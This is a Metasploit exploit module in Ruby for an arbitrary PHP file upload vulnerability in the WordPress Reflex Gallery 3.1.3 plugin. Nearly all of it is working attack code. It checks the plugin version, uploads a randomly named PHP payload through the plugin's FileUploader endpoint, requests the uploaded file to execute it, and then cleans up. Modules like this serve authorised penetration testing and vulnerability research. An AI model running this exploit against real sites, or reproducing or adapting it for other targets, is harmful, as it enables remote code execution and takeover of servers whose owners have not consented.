##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress Reflex Gallery Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery
version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '36374'],
['OSVDB', '88853'],
['WPVDB', '7867']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Reflex Gallery 3.1.3', {}]],
'DisclosureDate' => 'Dec 30 2012', # OSVDB? EDB? WPVDB? Cannot set the date.
'DefaultTarget' => 0)
)
end
def check
check_plugin_version_from_readme('reflex-gallery', '3.1.4')
end
def exploit
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"qqfile\"; filename=\"#{php_pagename}\"")
post_data = data.to_s
time = Time.new
year = time.year.to_s
month = "%02d" % time.month
res = send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'reflex-gallery', 'admin', 'scripts', 'FileUploader', 'php.php'),
'method' => 'POST',
'vars_get' => {
'Year' => "#{year}",
'Month' => "#{month}"
},
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
if res
if res.code == 200 && res.body =~ /success|#{php_pagename}/
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
register_files_for_cleanup(php_pagename)
else
fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
print_status("#{peer} - Calling payload...")
send_request_cgi(
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}", "#{month}", php_pagename)
)
end
end
